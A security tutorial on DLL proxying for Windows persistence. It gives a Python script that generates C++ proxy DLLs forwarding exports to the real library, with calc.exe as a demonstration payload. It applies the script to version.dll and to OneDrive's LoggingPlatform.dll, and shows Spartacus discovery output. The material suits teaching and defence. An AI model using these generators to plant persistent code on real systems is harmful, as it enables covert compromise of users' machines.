DLL Proxying

I’ve previously covered DLL Hijacking as a means to escalate privileges on a Windows host.

DLL Proxying is very similar to this, except it’s used as a persistence mechanism instead of a method for privilege escalation.
With DLL Proxying, our malicious DLL will be loaded by the target application, and all subsequent function calls will be passed to the original legitimate DLL.

There are two different ways we leverage DLL proxying – we can either exploit search path hijacking, or overwrite accessible DLL’s that are typically stored in a users AppData directory.


DLL Search Path Hijacking

As in DLL hijacking, we first need to identify a DLL that an application attempts to load from a location we can write to.

We can look for applications attempting to load DLL’s from locations they don’t exist in using Sysinternals ProcMon. Set a filter like the below example looking for files ending in .dll, with a result of “NAME NOT FOUND”.

After starting out victim application with the filter in place, we can see it’s looking for a number of DLL’s in the current directory which don’t exist – including VERSION.dll.

Now we have identified a vulnerable DLL, we can use Python to extract it’s imports and create some C++ code that can be compiled with Visual Studio.


Creating a Proxy DLL

The following Python code will generate code for a C++ DLL that references the exported functions in the original intended DLL.

#!/usr/bin/env python3

import pefile
import sys
import os.path
from pathlib import Path

target_dll = 'C:\\\\Windows\\\\System32\\\\version.dll'
target_dll_no_extension = target_dll.split('.')[0]

dll = pefile.PE(target_dll)
dll_basename = Path(target_dll).stem

print("#pragma once")

for export in dll.DIRECTORY_ENTRY_EXPORT.symbols:
    if export.name:
        print('#pragma comment(linker,"/export:{}='.format(export.name.decode()) + target_dll_no_extension  +  '.{},@{}")'.format(export.name.decode(), export.ordinal))

print('')
print('#include "windows.h"')
print('HMODULE hModule = LoadLibrary(L"' + target_dll + '");')
print("""
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("calc.exe");
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

 """)

Running the script will produce some C++ code we can compile using Visual Studio. The pragma comments instruct the linker to export functions from the original DLL location.

python3 proxy_dll_version.py
#pragma once
#pragma comment(linker,"/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA,@1")
#pragma comment(linker,"/export:GetFileVersionInfoByHandle=C:\\Windows\\System32\\version.GetFileVersionInfoByHandle,@2")
#pragma comment(linker,"/export:GetFileVersionInfoExA=C:\\Windows\\System32\\version.GetFileVersionInfoExA,@3")
#pragma comment(linker,"/export:GetFileVersionInfoExW=C:\\Windows\\System32\\version.GetFileVersionInfoExW,@4")
#pragma comment(linker,"/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA,@5")
#pragma comment(linker,"/export:GetFileVersionInfoSizeExA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExA,@6")
#pragma comment(linker,"/export:GetFileVersionInfoSizeExW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExW,@7")
#pragma comment(linker,"/export:GetFileVersionInfoSizeW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeW,@8")
#pragma comment(linker,"/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW,@9")
#pragma comment(linker,"/export:VerFindFileA=C:\\Windows\\System32\\version.VerFindFileA,@10")
#pragma comment(linker,"/export:VerFindFileW=C:\\Windows\\System32\\version.VerFindFileW,@11")
#pragma comment(linker,"/export:VerInstallFileA=C:\\Windows\\System32\\version.VerInstallFileA,@12")
#pragma comment(linker,"/export:VerInstallFileW=C:\\Windows\\System32\\version.VerInstallFileW,@13")
#pragma comment(linker,"/export:VerLanguageNameA=C:\\Windows\\System32\\version.VerLanguageNameA,@14")
#pragma comment(linker,"/export:VerLanguageNameW=C:\\Windows\\System32\\version.VerLanguageNameW,@15")
#pragma comment(linker,"/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA,@16")
#pragma comment(linker,"/export:VerQueryValueW=C:\\Windows\\System32\\version.VerQueryValueW,@17")

#include "windows.h"
HMODULE hModule = LoadLibrary(L"C:\\Windows\\System32\\version.dll");

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("calc.exe");
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}


To compile the code, create a Visual Studio C++ DLL project. Ensure the following project settings are configured:

C/C++ > Code Generation > Runtime Library: Multi-Threaded (/MT)
C/C++ > Precompiled Header > Not Using Precompiled Header.

Opening BGInfo, with our newly compiled version.dll in the same directory will now also result in calc.exe being executed.


Overwriting AppData DLL’s

We can use some more Python code to list DLL’s in our home directory:

import os
import fnmatch

def find_dll_files(root_dir):
    """Recursively find all DLL files starting from root_dir."""
    dll_files = []
    for root, dirs, files in os.walk(root_dir):
        for file in fnmatch.filter(files, '*.dll'):
            dll_files.append(os.path.join(root, file))
    return dll_files

def main():
    home_dir = os.path.expanduser('~')

    print(f"Searching for DLL files under {home_dir}")
    dll_files = find_dll_files(home_dir)

    if dll_files:
        print(f"Found {len(dll_files)} DLL files:")
        for file in dll_files:
            print(file)
    else:
        print("No DLL files found.")

if __name__ == "__main__":
    main()

Running this, you will likely see a lot of DLL’s installed in the AppData directory:

C:\Users\development\AppData\Local\Microsoft\OneDrive\24.156.0804.0002\FileSyncTelemetryExtensions.dll
C:\Users\development\AppData\Local\Microsoft\OneDrive\24.156.0804.0002\FileSyncViews.dll
C:\Users\development\AppData\Local\Microsoft\OneDrive\24.156.0804.0002\hermes.dll
C:\Users\development\AppData\Local\Microsoft\OneDrive\24.156.0804.0002\ipcfile.dll
C:\Users\development\AppData\Local\Microsoft\OneDrive\24.156.0804.0002\ipcsecproc.dll
C:\Users\development\AppData\Local\Microsoft\OneDrive\24.156.0804.0002\libcrypto-3-x64.dll
C:\Users\development\AppData\Local\Microsoft\OneDrive\24.156.0804.0002\libEGL.dll
C:\Users\development\AppData\Local\Microsoft\OneDrive\24.156.0804.0002\libGLESv2.dll
C:\Users\development\AppData\Local\Microsoft\OneDrive\24.156.0804.0002\libssl-3-x64.dll
C:\Users\development\AppData\Local\Microsoft\OneDrive\24.156.0804.0002\LoggingPlatform.dll
C:\Users\development\AppData\Local\Microsoft\OneDrive\24.156.0804.0002\LogUploader.dll

ProcMon can once again be used to verify these files are being loaded by OneDrive.

Choosing “LoggingPlatform.dll” as our target, we just rename the file to LoggingPlatform2.dll, and run our script again:

#!/usr/bin/env python3

import pefile
import sys
import os.path
from pathlib import Path

target_dll = 'C:\\\\Users\\\\development\\\\AppData\\\\Local\\\\Microsoft\\\\OneDrive\\\\24.156.0804.0002\\\\LoggingPlatform2.dll'
target_dll_no_extension, _ = os.path.splitext(target_dll)
dll = pefile.PE(target_dll)
dll_basename = Path(target_dll).stem

print("#pragma once")

for export in dll.DIRECTORY_ENTRY_EXPORT.symbols:
    if export.name:
        print('#pragma comment(linker,"/export:{}='.format(export.name.decode()) + target_dll_no_extension  +  '.{},@{}")'.format(export.name.decode(), export.ordinal))

print('')
print('#include "windows.h"')
print('HMODULE hModule = LoadLibrary(L"' + target_dll + '");')
print("""
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("calc.exe");
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

 """)

The C++ code is compiled and our LoggingPlatform.dll file is written to the OneDrive AppData folder. The result is anytime OneDrive is opened our DLL will also trigger calc.exe to launch.


Automating Discovery

Spartacus can be used to automate the process of discovering applications vulnerable to DLL search path hijacking, and it will automatically create Visual Studio solutions.

Spartacus.exe --mode dll --procmon Procmon64.exe --pml C:\Data\logs.pml --csv C:\Data\VulnerableDLLFiles.csv --solution C:\Data\Solutions --verbose
Spartacus v2.2.2 [ Pavel Tsakalidis ]
- For more information visit https://github.com/sadreck/Spartacus

[21:13:54] Running DLL mode...
[21:13:54] Procmon execution requires elevated permissions - brace yourself for a UAC prompt.
[21:13:54] Making sure there are no ProcessMonitor instances...
[21:13:57] Deleting previous log file: C:\Data\logs.pml
[21:13:57] Getting PMC file...
[21:13:57] ProcMon configuration file will be: C:\Users\user\AppData\Local\Temp\9b711f20-4faa-42a3-bcee-8af7dcf9fe5f.pmc
[21:13:57] Starting ProcessMonitor...
[21:13:57] Process Monitor has started...
[21:13:57] Press ENTER when you want to terminate Process Monitor and parse its output...
[21:14:32] Terminating Process Monitor...
[21:14:50] Reading events file...
[21:14:50] Found 5020 strings...
[21:14:50] Reading string offsets...
[21:14:50] Reading strings...
[21:14:50] Found 264 processes...
[21:14:50] Reading process offsets...
[21:14:50] Reading processes...
[21:14:50] Reading event log offsets...
[21:14:50] Found 1,574 events...
[21:14:50] Searching events.............
[21:14:50] Found 21 events of interest...
[21:14:50] Extracting DLL filenames from paths...
[21:14:50] Found 21 unique DLLs...
[21:14:50] Trying to identify which DLLs were actually loaded........
[21:14:50] Saving to CSV...

[21:15:02] Processing version.dll - Found
[21:15:02] Extracting DLL export functions from: C:\Windows\System32\version.dll
[21:15:02] Found 17 functions
[21:15:02] Generating version.sln
[21:15:02] Generating version.vcxproj
[21:15:02] Generating resource.h
[21:15:02] Generating version.rc
[21:15:02] Generating version.def
[21:15:02] Target solution created at: C:\Data\Solutions\version
[21:15:02] All done

In Conclusion

DLL proxying for persistence is best used against applications that normally start when a user logs into their computer such as Microsoft Teams or OneDrive.